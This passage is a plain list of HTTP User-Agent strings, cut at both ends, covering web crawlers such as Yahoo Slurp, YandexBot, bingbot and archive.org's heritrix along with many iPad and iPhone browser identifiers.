+http://search.webdunia.com/bot.aspx)\nMozilla/5.0 (compatible; Windows NT 5.0; phpwebbrainBot/0.1 - http://www.monsterli.ch/phpwebbrain/)\nMozilla/5.0 (compatible; Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219\nMozilla/5.0 (compatible; Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2) Gecko/20070219 Firefox/2.0.0.2\nMozilla/5.0 (compatible; Windows; U; Windows NT 6.2; WOW64; en-US; rv:12.0) Gecko/20120403211507 Firefox/12.0\nMozilla/5.0 (compatible; WoW Lemmings Kathune/2.0;http://www.wowlemmings.com/kathune.html)\nMozilla/5.0 (compatible; XTbot/1.0v; +http://www.externaltest.com)\nMozilla/5.0 (compatible; Yahoo! DE Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nMozilla/5.0 (compatible; Yahoo! Slurp China; http://misc.yahoo.com.cn/help.html)\nMozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)\nMozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)\nMozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)\nMozilla/5.0 (compatible; YandexNews/4.0; +http://yandex.com/bots)\nMozilla/5.0 (compatible; YesupBot/1.0; +http://www.yesup.net/bot.html)\nMozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )\nMozilla/5.0 (compatible; Yoono; http://www.yoono.com/)\nMozilla/5.0 (compatible; YoudaoBot/1.0; http://www.youdao.com/help/webmaster/spider/; )\nMozilla/5.0 (compatible; Zenbot/1.3; +http://zen.co.za/webmasters/)\nMozilla/5.0 (compatible; aiHitBot/1.0; +http://www.aihit.com/)\nMozilla/5.0 (compatible; alexa site audit/1.0; +http://www.alexa.com/help/webmasters; )\nMozilla/5.0 (compatible; archive.org_bot +http://www.archive.org/details/archive.org_bot)\nMozilla/5.0 (compatible; archive.org_bot/1.10.0 +http://www.loc.gov/minerva/crawl.html)\nMozilla/5.0 (compatible; archive.org_bot/1.13.1x http://crawler.archive.org)\nMozilla/5.0 (compatible; archive.org_bot/1.5.0-200506132127 http://crawler.archive.org) Hurricane Katrina\nMozilla/5.0 (compatible; archive.org_bot; Wayback Machine Live Record; +http://archive.org/details/archive.org_bot)\nMozilla/5.0 (compatible; bingbot/2.0  http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; bingbot/2.0 +http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)\nMozilla/5.0 (compatible; de/1.13.2 +http://www.de.com)\nMozilla/5.0 (compatible; discobot/1.0; +http://discoveryengine.com/discobot.html)\nMozilla/5.0 (compatible; egothor/8.0g; +http://ego.ms.mff.cuni.cz/)\nMozilla/5.0 (compatible; heritrix/1.10.2 +http://i.stanford.edu/)\nMozilla/5.0 (compatible; heritrix/1.12.1 +http://newstin.com/)\nMozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com)\nMozilla/5.0 (compatible; heritrix/1.12.1 +http://www.page-store.com) [email:paul@page-store.com]\nMozilla/5.0 (compatible; heritrix/1.4.0 +http://www.chepi.net)\nMozilla/5.0 (compatible; heritrix/1.4t http://www.truveo.com/)\nMozilla/5.0 (compatible; heritrix/1.5.0 http://www.l3s.de/~kohlschuetter/projects/crawling/)\nMozilla/5.0 (compatible; heritrix/1.5.0-200506231921 http://pandora.nla.gov.au/crawl.html)\nMozilla/5.0 (compatible; heritrix/1.6.0 http://www.worio.com/)\nMozilla/5.0 (compatible; heritrix/1.7.0 +http://www.greaterera.com/)\nMozilla/5.0 (compatible; heritrix/1.x.x +http://www.accelobot.com)\nMozilla/5.0 (compatible; heritrix/2.0.0-RC1 +http://www.aol.com)\nMozilla/5.0 (compatible; http://www.IsMySiteUp.Net/bot/ )\nMozilla/5.0 (compatible; http://www.UptimeAuditor.com/bot/ )\nMozilla/5.0 (compatible; iCab 3.0.2; Macintosh; U; PPC Mac OS X)\nMozilla/5.0 (compatible; iCab 3.0.2; Macintosh; U; PPC Mac OS)\nMozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS X)\nMozilla/5.0 (compatible; iCab 3.0.3; Macintosh; U; PPC Mac OS)\nMozilla/5.0 (compatible; iCab 3.0.5; Macintosh; U; PPC Mac OS X)\nMozilla/5.0 (compatible; iCab 3.0.5; Macintosh; U; PPC Mac OS)\nMozilla/5.0 (compatible; iaskspider/1.0; MSIE 6.0)\nMozilla/5.0 (compatible; mxbot/1.0;  http://www.chainn.com/mxbot.html)\nMozilla/5.0 (compatible; mxbot/1.0; +http://www.chainn.com/mxbot.html)\nMozilla/5.0 (compatible; pmoz.info ODP link checker; +http://pmoz.info/doc/botinfo.htm)\nMozilla/5.0 (compatible; pogodak.ba/3.x)\nMozilla/5.0 (compatible; robtexbot/1.0; http://www.robtex.com/ )\nMozilla/5.0 (compatible; suggybot v0.01a, http://blog.suggy.com/was-ist-suggy/suggy-webcrawler/)\nMozilla/5.0 (compatible; worio bot heritrix/1.10.0 +http://worio.com)\nMozilla/5.0 (compatible; zermelo +http://www.powerset.com) [email:paul@page-store.com,crawl@powerset.com]\nMozilla/5.0 (compatible;FindITAnswersbot/1.0;+http://search.it-influentials.com/bot.htm)\nMozilla/5.0 (compatible;MAINSEEK_BOT)\nMozilla/5.0 (compatible;archive.org_bot/1.7.1; collectionId=316; Archive-It; +http://www.archive-it.org)\nMozilla/5.0 (compatible;archive.org_bot/heritrix-1.9.0-200608171144 +http://pandora.nla.gov.au/crawl.html)\nMozilla/5.0 (en-US;rv:1.9.1.2) Gecko/20090729 Firefox/3.5.2\nMozilla/5.0 (en-us) AppleWebKit/525.13 (KHTML, like Gecko; Google Web Preview) Version/3.1 Safari/525.13\nMozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.2; U; de-DE) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/234.40.1 Safari/534.6 TouchPad/1.0\nMozilla/5.0 (iPad; CPU OS 10_0 like Mac OS X) AppleWebKit/601.1 (KHTML, like Gecko) CriOS/49.0.2623.109 Mobile/14A5335b Safari/601.1.46\nMozilla/5.0 (iPad; CPU OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\nMozilla/5.0 (iPad; CPU OS 5_0_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Mobile/9B176\nMozilla/5.0 (iPad; CPU OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko ) Version/5.1 Mobile/9B176 Safari/7534.48.3\nMozilla/5.0 (iPad; CPU OS 5_1_1 like Mac OS X; ru-ru) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/21.0.1180.80 Mobile/9B206 Safari/7534.48.3\nMozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25\nMozilla/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit/537.51.1 (KHTML, like Gecko) CriOS/30.0.1599.12 Mobile/11A465 Safari/8536.25 (3B92C18B-D9DE-4CB7-A02A-22FD2AF17C8F)\nMozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML, like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\nMozilla/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML like Gecko) Mobile/12A405 Version/7.0 Safari/9537.53\nMozilla/5.0 (iPad; CPU OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H321 Safari/600.1.4\nMozilla/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1\nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; de-de) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7W367a Safari/531.21.10\nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.1021.10gin_lib.cc\nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B360 Safari/531.21.10\nMozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; es-es) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B367 Safari/531.21.10\nMozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B500\nMozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/53\nMozilla/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; zh-cn) AppleWebKit/531.21.10 (KHTML, like Gecko) Mobile/7B500\nMozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.1\nMozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ja-jp) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ko-kr) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8C148\nMozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F191 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU OS 4_3 like Mac OS X; nl-nl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU iPad OS 5_0_1 like Mac OS X; en-us) AppleWebKit/535.1+ (KHTML like Gecko) Version/7.2.0.0 Safari/6533.18.5\nMozilla/5.0 (iPad; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B314\nMozilla/5.0 (iPad;U;CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B500 Safari/531.21.10\nMozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_0 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko)\nMozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F135 Safari/525.20\nMozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11\nMozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.11 (KHTML, like Gecko) Version/3.1.1 Mobile/7A238j Safari/525.20\nMozilla/5.0 (iPhone Simulator; U; CPU iPhone OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7D11 Safari/531.21.10\nMozilla/5.0 (iPhone; CPU  iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\nMozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/18.0.130791545 Mobile/14A5345a Safari/600.1.4\nMozilla/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A346 Safari/602.1\nMozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Version/9.0 Mobile/13B143 Safari/601.1\nMozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.38 (KHTML, like Gecko) Version/11.0 Mobile/15A5362a Safari/604.1\nMozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A403 Safari/8536.25\nMozilla/5.0 (iPhone; CPU iPhone OS 7_1_2 like Mac OS X) AppleWebKit/537.51.2 (KHTML like Gecko) Version/7.0 Mobile/11D257 Safari/9537.53\nMozilla/5.0 (iPhone; CPU iPhone OS 8_3 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12F70 Safari/600.1.4\nMozilla/5.0 (iPhone; CPU iPhone OS 8_4_1 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) GSA/8.0.57838 Mobile/12H321 Safari/600.1.4\nMozilla/5.0 (iPhone; CPU iPhone OS 9_2 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13C75 Safari/601.1\nMozilla/5.0 (iPhone; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10\nMozilla/5.0 (iPhone; U; CPU comme Mac OS X; en) AppleWebKit/420 + (KHTML, comme Gecko) Version/3.0 Mobile/1A543 Safari/419.3\nMozilla/5.0 (iPhone; U; CPU iPhone OS 1_2_3 like Mac OS X; en-us) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8J2 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_0 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5A347 Safari/525.200\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; en) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5B108 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_0_2 like Mac OS X; nl-nl) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5C1 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5F136\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; it-it) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; zh-cn) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X; zh-tw) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_1 like Mac OS X;en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5G77\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5G77\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OS X;fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac OX;fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2 like Mac X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko)\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; de-de) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-gb) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko)\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; en-us) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11a Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5B108\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5F136 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; ja-jp) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; nb-no) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; pt-br) AppleWebKit/525.18.1 (KHTML, like Gecko)\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; ru-ru) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; sv-se) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; zh-tw) AppleWebKit/525.18.1 (KHTML, like Gecko) Mobile/5H11\nMozilla/5.0 (iPhone; U; CPU iPhone OS 2_2_1 like Mac OS X; zh-tw) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5H11 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.1 (KHTML, like Gecko) Version/3.1.1 Mobile/7A205d Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.11 (KHTML, like Gecko) Version/3.1.1 Mobile/7A238j Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.11 (KHTML, like Gecko) Version/3.1.1 Mobile/7A238k Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/3.1.1 Mobile/7A259g Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/3.1.1 Mobile/7A280f Safari/525.20\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; ko-kr) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16\nMozilla/5.0 (iPhone; U; CPU iPhone OS 3_1 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7C97d Safari/528.16\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8A293 Safari/531.22.7\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_0 like Mac OS X; zh-tw) AppleWebKit/532.9 (KHTML, like Gecko)\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B117 Safari/6531.22.7\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_1 like Mac OS X; en-us) AppleWebKit/532.9 (KHTML, like Gecko) Version/4.0.5 Mobile/8B5097d Safari/6531.22.7\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_1_1 like Mac OS X; en-en) AppleWebKit/548.18 (KHTML, like Gecko) Version/4.0 Mobile/8F12 Safari/548.16\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; da-dk) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fi-fi) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fi-fi) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; fr-fr) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/8C148a Safari/528.16\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; it-it) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; nb-no) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148a Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; ru-ru) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; de-de) AppleWebKit/533.17.9 (KHTML, like Gecko) Mobile/8F190\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; en-gb) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; fr-fr) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_3 like Mac OS X; pl-pl) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8F190 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 4_3_1 like Mac OS X; zh-tw) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8G4 Safari/6533.18.5\nMozilla/5.0 (iPhone; U; CPU iPhone OS 5_1_1 like Mac OS X; da-dk) AppleWebKit/534.46.0 (KHTML, like Gecko) CriOS/19.0.1084.60 Mobile/9B206 Safari/7534.48.3\nMozilla/5.0 (iPhone; U; CPU iPhone OS) (compatible; Googlebot-Mobile/2.1;  http://www.google.com/bot.html)\nMozilla/5.0 (iPhone; U; CPU iPhone OS2_2 like Mac OS X;fr-fr) AppleWebKit/525.18.1 (KHTML, like Gecko) Version/3.1.1 Mobile/5G77 Safari/525.20\nMozilla/5.0 (iPhone; U; CPU like Mac OS X) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A93 Safari/419.\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en)   AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en)  AppleWebKit/420+ (KHTML, like Gecko)  Version/3.0 Mobile/1A543a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420  (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1A543a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420 (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko)\tVersion/3.0 Mobile/1A543a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A538a Safari/419.3 FirePHP/0.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3B48b Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/4A102 Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; es) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A109a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; fr) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1A543 Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; nl-nl) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A109a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; sv-se) AppleWebKit/420.1 (KHTML, like Gecko) Version/3.0 Mobile/3A109a Safari/419.3\nMozilla/5.0 (iPhone; U; CPU like Mac OS X; zh-tw) AppleWebKit/420+ (KHTML, like Gecko) Version/3.0 Mobile/1C28 Safari/419.3\nMozilla/5.0 (iPhone; U; Linux i686; 